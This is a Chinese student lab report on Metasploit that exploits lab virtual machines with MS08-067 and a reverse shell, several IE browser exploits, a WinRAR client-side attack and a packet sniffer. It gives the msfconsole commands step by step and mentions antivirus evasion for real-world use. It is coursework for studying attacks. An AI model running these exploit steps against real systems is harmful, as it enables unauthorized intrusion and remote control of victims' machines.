2019-2020-2 20175317钟睿文《网络对抗技术》Exp6 MSF基础应用
实践目标
掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
实践内容
-
一个主动攻击实践,如ms08_067;
-
一个针对浏览器的攻击,如ms11_050;
-
一个针对客户端的攻击,如Adobe;
-
成功应用任何一个辅助模块。
实践过程
主动攻击实践,ms08-067(成功)
靶机:Windows xp English
IP:192.168.122.143
主机:Kali
IP:192.168.122.136
之后确保两台机器之间能ping通:
进入msf,使用search ms08-067
查看漏洞位置
使用use exploit/windows/smb/ms08_067_netapi
选择该漏洞
使用show payloads
查看可用载荷
使用set payload generic/shell_reverse_tcp
设置攻击有效载荷
使用set LHOST 192.168.122.136
设置监听者地址
使用set LPORT 5317
设置监听者端口
使用set RHOST 192.168.122.143
设置靶机地址
使用set RPORT 5317
设置靶机端口
show options
查看设置信息
exploit
开始攻击
开始攻击显示靶机5317端口连接失败,将端口换为445端口,再次进行攻击
一天了!终于攻击成功了!!!
攻击浏览器的实践,ms13-008(失败),ms13_037(失败),ms14-064(成功)
靶机:Windows xp English
IP:192.168.122.143
主机:Kali
IP:192.168.122.136
进入msf,使用search ms13
查看漏洞位置
使用use exploit/windows/browser/ie_cbutton_uaf
选择该漏洞
输入show options
看一下需要设置哪些
提示需要设置SRVHOST与SRVPORT
使用set SRVHOST 192.168.122.136
设置监听者地址
使用set SRVPORT 8080
设置监听者端口
exploit
开始攻击
提示被攻击者访问http://192.168.122.136:8080/343iAnh
在xp访问该网站,但是msf显示ie不支持,攻击失败……
行8,那没事了,试试别的吧。
我试了许多,本来还想挨个截图把过程贴上来,结果发现全贴上来也太多了!!!
我试到ms13_037的时候,发现有戏,下面是我试ms13_037的过程
首先是show options
查看要设置的选项,设好后发现要win7 sp1,我又安好虚拟机,执行攻击后打开网址发现有戏!
但是这浏览器给我拦截了!我就改了他的设置,把安全设置里的控件等全部无脑调低,结果:
绝了,我就是想运行它,但是我的电脑不听我的,我也没找到方法让他运行……再试试别的8……
最终我决定使用ms14-064,msf中使用use exploit/windows/browser/ms14_064_ole_code_execution
选择攻击模块
设置好攻击机的IP与端口,使用的载荷等信息,然后开始攻击
在xp中打开生成的url,可以在kali中看到创建了一个链接:
使用ctrl+c
退出当前状态,通过sessions -i 1
获取第一个会话
使用ipconfig
查看靶机地址:
发现攻击的是xp主机,攻击成功。
攻击客户端的实践,Winrar(成功且唯一)
使用下图中的命令生成.zip文件
把生成的zip文件拖到主机中,与普通的zip文件毫无区别
在kali首先开启监听,然后在winrar中打开压缩文件,发现kali已经回联成功了
成功应用任何一个辅助模块,sniffer监听(成功且唯一)
使用命令show auxiliary
查看所有的辅助模块,我最后选择了sniffer
嗅探器进行实验
调用模块use auxiliary/sniffer/psnuffle
设置好IP后直接运行监听,我在被监听机打开了百度,kali中马上就出现了相应记录,监听成功
实验中遇到的问题
问题一:攻击时显示利用漏洞攻击完成,但会话未创建
问题一解决方案:创建符合攻击要求的虚拟机,再次进行攻击即可成功(但是我看到他符合要求的系统中有XP sp3简体中文版……  ̄▽ ̄)
实验收获与感想
本次实验绝大多数的时间花费在找靶机上。这说明msf对漏洞的攻击对系统和软件版本具有较强的专一性,也可以看出厂商在不断的修复自己的漏洞。其次,我觉得我们的实验与实际相差还是比较大的,要完成攻击还要把安全系数调低,可现实中谁会把自己的电脑安全设置调低呢?
在实验过程中我觉得看好该漏洞能攻击的对象是比较重要的一步,否则自己折腾半天也不会成功。在攻击前提前看好靶机要求是什么,要使用什么口令,设置什么参数,这样可以避免盲目的实践导致时间的浪费。
总的来说这次试验就是在考验我和我的电脑,遇事要平静的寻找解决方法,一味烦躁是没有用的,一个不行就在下一个呗。做完实验我也毫不犹豫地买了一个内存条,毕竟同时运行5个虚拟机可不是个轻松事……
问题回答
用自己的话解释什么是exploit,payload,encode.
Exploit是渗透攻击,就是攻击方利用系统或软件漏洞得到开发者没有预期到的结果,渗透攻击分为主动渗透攻击与被动渗透攻击
payload是载荷的意思,实验中指一段指令或shellcode,简单来说就是攻击后要执行的代码或命令
encode是编码的意思,通过编码可以消除渗透攻击过程中应加以避免的“坏字符”,如0x00空字节。代码开发者将坏字符统一标出,就成为了编码方式,可以直接拿来使用。
离实战还缺些什么技术或步骤?
首先肯定是信息搜集,实践中我们可以把控靶机的系统版本,但是实际中我们需要了解目标的系统版本,然后有针对性地采取措施。
其次是要将后门程序悄无声息的放入靶机中这部看似简单,但是实际中要逃过杀软与人为的检测,所以需要伪装和免杀处理。
参考资料
Kali-linux使用Metasploit基础
MS-2017-010(Eternalblue)EXP移植Metasploit攻击
关于NSA的EternalBlue(永恒之蓝) ms17-010漏洞利用
Kali Linux Web 渗透测试秘籍 第七章 高级利用